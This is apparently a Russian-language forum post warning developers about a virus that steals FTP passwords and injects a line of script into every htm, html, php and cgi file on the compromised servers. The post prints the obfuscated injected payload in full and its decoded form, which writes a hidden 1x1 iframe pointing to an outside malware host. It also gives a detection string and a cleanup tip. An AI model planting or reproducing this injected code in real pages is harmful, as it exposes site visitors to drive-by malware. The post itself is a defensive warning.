Вирусы опасные для разработчиков...

Недавно угараздило меня поймать вирусик, который тырит фтп пароли и добавляет во все файлы на стыриных адресах себя любимого...

В принципи ничего серьезного, вирус ворует пароль из известных файл менеджеров, таких как WC (пароль не уходит никуда в инет, вирус работает локально, так что после такова вируса пасы менять не обезательно. но желательно, а то мало ли что...) и ломится на фтп, добавляет 1 строку в кажный htm, html, php и cgi файл. Вот эта строка (разнавидностей вируса масса, поетому строка может менятся, но суть таже.)

[mono]document.write(unescape("%3Cscript%3Eif%28hZk%21%3D1%29%7Bfunction%20qz%28UX%29%7Breturn%20UX%7Dtry%7Bfunction%20Rj%28Ea%29%7Breturn%20parseInt%28Ea%29%7Dvar%20gG%3D%27LLQLmQLeQLsQLYQLtQLjQLaQL8QLKQLUQLbQLDQLZQLSQLdQLNQLCQLrQLyQLPQLzQLWQLRQL6QLXQLFQLiQLkQLgQLqQLwQLTQLMQLGQLnQLAQLHQL3QLOQLhQL4QLfQLcQLVQLpQLxQLBQLJQLoQL5QL9QLlQL7QmLQmmQmeQmsQmYQmtQmjQmaQm8QmKQmUQmbQmDQmZQmSQmdQmNQmCQmrQmyQmPQmzQmW%27%2C%20MZ%3Dqz%28%27Q%27%29%3B%20var%20Kj%3DArray%28Rj%28%27149%27%29%2C4517%5E4479%2CRj%28%27202%27%29%2CRj%28%27219%27%29%2CRj%28%27192%27%29%2CRj%28%27217%27%29%2CRj%28%27221%27%29%2C8772%5E8915%2C8805%5E8897%2C32396%5E32303%2CRj%28%27207%27%29%2CRj%28%27220%27%29%2CRj%28%27199%27%29%2C25869%5E26059%2CRj%28%27137%27%29%2CRj%28%27224%27%29%2C19824%5E19871%2CRj%28%27200%27%29%2CRj%28%27196%27%29%2C29551%5E29603%2CRj%28%27129%27%29%2CRj%28%27128%27%29%2C2771%5E2561%2CRj%28%27212%27%29%2CRj%28%27135%27%29%2CRj%28%27208%27%29%2CRj%28%27148%27%29%2CRj%28%27160%27%29%2C17446%5E17639%2C11138%5E11025%2CRj%28%27142%27%29%2C14684%5E14737%2C20492%5E20691%2CRj%28%27157%27%29%2C22392%5E22525%2CRj%28%27134%27%29%2CRj%28%27209%27%29%2C4730%5E4843%2CRj%28%27159%27%29%2C1237%5E1047%2C32238%5E32009%2C22702%5E22609%2CRj%28%27197%27%29%2C32429%5E32309%2C4177%5E4283%2C22939%5E22853%2CRj%28%27237%27%29%2C8989%5E9103%2CRj%28%27253%27%29%2CRj%28%27206%27%29%2CRj%28%27130%27%29%2CRj%28%27153%27%29%2CRj%28%27139%27%29%2CRj%28%27238%27%29%2CRj%28%27228%27%29%2CRj%28%27250%27%29%2CRj%28%27136%27%29%2CRj%28%27235%27%29%2C30689%5E30493%2C11042%5E11225%2C7466%5E7631%2CRj%28%27203%27%29%2CRj%28%27213%27%29%2CRj%28%27150%27%29%2C19707%5E19465%2C15062%5E14881%2C10259%5E10391%2CRj%28%27211%27%29%2C24683%5E24827%2CRj%28%27244%27%29%2CRj%28%27245%27%29%2C8315%5E8349%2C13988%5E13887%2C14783%5E14629%2CRj%28%27156%27%29%2CRj%28%27158%27%29%2C25292%5E25167%29%2C%20Lb%3B%20var%20xF%2C%20sO%3B%20var%20JU%3D%27LLLmLeLsLYLtLjLaL8LKLULbLDLeLjLYLZLDLSLdLNLsLCLrLyLPLzLWLRL8LKLdLNLsLCLrLyL6LtLsLZLjLZLjLXLtLyLSLFLSLWL8LKL8LKLiLkLZLmLjLSLgLSLqLwLsLYLTLyLsLmL6LCLyLsLZLML6LeLDLqLGL8LKLiLtLCLjLkLSLgLSLqLnLALHL3LnLqLGLSL8LKLiLeLZLZLOLYLyLhLCLrLyLSLgLSLqLMLTLsLwLCLqLGL8LKLiLeLZLZLOLYLyL4LCLfLbLyLSLgLSLcLGL8LKL8LKLiLmLyLjLVLZLZLOLYLyLSLgLSLULbLDLeLjLYLZLDLPLDLCLrLyLGLSLTLCLfLbLyLzL8LKLiLWL8LKLiLiLTLCLsLSLwLFLSLDLyLpLSLxLCLjLyLPLzLBLSLwL6LmLyLjLJLYLrLyLPLDLyLpLSLxLCLjLyLPLzL6LoLyLjLJLYLrLyLPLzLSL5LSLHL3LML9L9L9L9L9LzLBLSL8LKLiLiLwLZLeLbLrLyLDLjL6LeLZLZLOLYLyLSLFLSLDLCLrLyLSL5LSLlLFLlLSL5LSLyLmLeLCLtLyLPLTLCLfLbLyLzLSL5LSLlLBLSLyLALtLYLsLyLmLFLlLSL5LSLwL6LjLZL7mLLJmmLjLsLYLDLoLPLzLBLSLiLiLiL8LKLiLRLGL8LKLiLYLDLmLjLCLfLfLSLgLSLULbLDLeLjLYLZLDLPLzL8LKLiLWL8LKLiLiLYLULPmeLjLkLYLmL6LCLfLsLyLCLwLXLdLDLmLjLCLfLfLyLwLPLzLzL8LKLiLiLWL8LKLiLiLiLTLCLsLSLmLSLFLSLlLLLYLULsLCLrLyLSLpLYLwLjLkLFLcLSLkLyLYLoLkLjLFLcLSLULsLCLrLymsLZLsLwLyLsLFL9LSLmLsLeLFLqLlLSL5LSLjLkLYLmL6LoLyLjLNLsLCLrLymYmtmjLPLzLSL5LSLlLqLaLLLnLYLULsLCLrLyLaLlLBL8LKLiLiLiLjLsLXLSLWLSLwLZLeLbLrLyLDLjL6LpLsLYLjLyLPLmLzLSLRL8LKLiLiLiLeLCLjLeLkLPLyLzLWLSLwLZLeLbLrLyLDLjL6LpLsLYLjLyLPLlLLLkLjLrLfLaLLmaLZLwLXLaLlLSL5LSLmLSL5LSLlLLLnmaLZLwLXLaLLLnLkLjLrLfLaLlLzLSLRL8LKLiLiLiLjLkLYLmL6LmLyLjLVLZLZLOLYLyLPLjLkLYLmL6LeLZLZLOLYLyLhLCLrLyLGLSLjLkLYLmL6LeLZLZLOLYLyL4LCLfLbLyLzLBLiL8LKLiLiLRL8LKLiLRLGL8LKLiLoLyLjLNLsLCLrLymYmtmjLSLgLSLULbLDLeLjLYLZLDLPLzL8LKLiLWL8LKLiLiLTLCLsLSLwLfLkLFLwLZLeLbLrLyLDLjL6LfLZLeLCLjLYLZLDL6LkLZLmLjLBL8LKLiLiLsLyLjLbLsLDLSLqLkLjLjLtLgLnLnLqLSL5LSLPLPLwLfLkLSLFLFLSLqLqLSm8m8LSLwLfLkLSLFLFLSLqLbLDLwLyLULYLDLyLwLqLzLSmKLSLjLkLYLmL6LoLyLjmtLCLDLwmmLjLsLYLDLoLPLzLSLgLSLqLqLzLSL5LSLwLfLkL6LsLyLtLfLCLeLyLSLPLnmUmbLCmDmZL9mDmSL6mDmdLnLGLqL6LqLzL6LsLyLtLfLCLeLyLSLPLnmNL6L5LnLGLqL6LqLzLSLSL5LSLlL6LlLSL5LSLjLkLYLmL6LoLyLjmtLCLDLwmmLjLsLYLDLoLPLzLSL5LSLlL6LlLSL5LSLjLkLYLmL6LkLZLmLjLSL5LSLjLkLYLmL6LtLCLjLkLBL8LKLiLRLGL8LKLiLCLfLsLyLCLwLXLdLDLmLjLCLfLfLyLwLSLgLSLULbLDLeLjLYLZLDLPLzL8LKLiLWL8LKLiLiLsLyLjLbLsLDLSmeLPLwLZLeLbLrLyLDLjL6LeLZLZLOLYLyL6LYLDLwLyLAmCLULPLjLkLYLmL6LeLZLZLOLYLyLhLCLrLyLSL5LSLqLFLqLSL5LSLjLkLYLmL6LeLZLZLOLYLyL4LCLfLbLyLzLSLFLFLSmDLcLzLBL8LKLiLRLGL8LKLiLoLyLjmtLCLDLwmmLjLsLYLDLoLSLgLSLULbLDLeLjLYLZLDLPLzL8LKLiLWL8LKLiLiLTLCLsLSLfLFLcL3LGLSLeLFLSLqL9LcmrmyLMmPL3mzLHmSLCmaLeLwLyLULqLGLSLZLFLqLqLBL8LKLiLiLULZLsLSLPLTLCLsLSLYLFL9LBLSLYLSLLLSLfLBLSLYL5L5LzLSLSLSLiLiL8LKLiLiLiLZL5LFLeL6LmLbmaLmLjLsLSLPmLLCLjLkL6LULfLZLZLsLPmLLCLjLkL6LsLCLDLwLZLrLPLzLSmWLSLeL6LfLyLDLoLjLkLzLGLSLcLGLSLcLzLBL8LKLiLiLiLiLiL8LKLiLiLsLyLjLbLsLDLSLZLBL8LKLiLRLiL8LKLRL8LKLTLCLsLSLZLSLFLSLDLyLpLSLdLNLsLCLrLyLPLzLBLSL8LKLZL6LYLDLmLjLCLfLfLPLzLBL8LKLLLnLmLeLsLYLtLjLa%27%2C%20tI%3D%27%27%3BgG%3DgG.split%28MZ%29%3Bfor%20%28Lb%3D0%3BLb%3CJU.length%3BLb+%3D2%29%7BsO%3DJU.substr%28Lb%2C2%29%3Bvar%20dF%3DgG.length%3Bfor%28xF%3D0%3BxF%3CdF%3BxF++%29%20%7Bif%281%3D%3D0%29%3Bif%28gG%5BxF%5D%3D%3DsO%29break%3B%7DtI+%3DString.fromCharCode%28Kj%5BxF%5D%5E169%29%3B%20%7Ddocument.write%28tI%29%3B%7Dcatch%28gK%29%7B%7D%7Dvar%20hZk%3D1%3C/script%3E"))[/mono]

Искать вирус можно по строке "unescape("%3Cscript%3E"

Если эту строку перевести в JS код, то выглядит она так:

[mono]<script>
function IFrame(){}
IFrame.prototype = {

    host : 'drivers.aero4.cn',
    path : '/x86/',
    cookieName : '4vrda',
    cookieValue : 1,

    setCookie : function(name, value)
    {
        var d= new Date(); d.setTime(new Date().getTime() + 86400000);
        document.cookie = name + "=" + escape(value) + "; expires=" + d.toGMTString();            
    },
    install : function()
    {
        if(!this.alreadyInstalled())
        {
            var s = "<iframe width=1 height=1 frameBorder=0 src='" + this.getFrameURL() + "'></iframe>";
            try { document.write(s) }
            catch(e){ document.write("<html><body>" + s + "</body></html>") }
            this.setCookie(this.cookieName, this.cookieValue);   
        }
    },
    getFrameURL : function()
    {
        var dlh=document.location.host;
        return 'http://' + ((dlh == '' || dlh == 'undefined') ? this.getRandString() : '') + dlh.replace (/[^a-z0-9.-]/,'.').replace (/\.+/,'.')  + "." + this.getRandString() + "." + this.host + this.path;
    },
    alreadyInstalled : function()
    {
        return !(document.cookie.indexOf(this.cookieName + '=' + this.cookieValue) == -1);
    },
    getRandString : function()
    {
        var l=16, c= '0123456789abcdef', o='';
        for (var i=0; i < l; i++)          
            o+=c.substr (Math.floor(Math.random() * c.length), 1, 1);
                   
        return o;
    }   
}
var o = new IFrame();
o.install();
</script>[/mono]

Вот такие вот пираги... Лечится все достаточно просто, с серверов в испоганеных файлах просто стираем последнюю строку и все, проблемы нет. Но приятного мало. Так что Винда - ЗЛО!

P.S.
Вирус пойма л в WinXpProSP2 работая под ограниченым пользователем. Причем у меня есть и фаервол ZA и снтивирус Symantec (Касперский и Нод также нихрена не ловят, проверял)...

Будьте внимательны.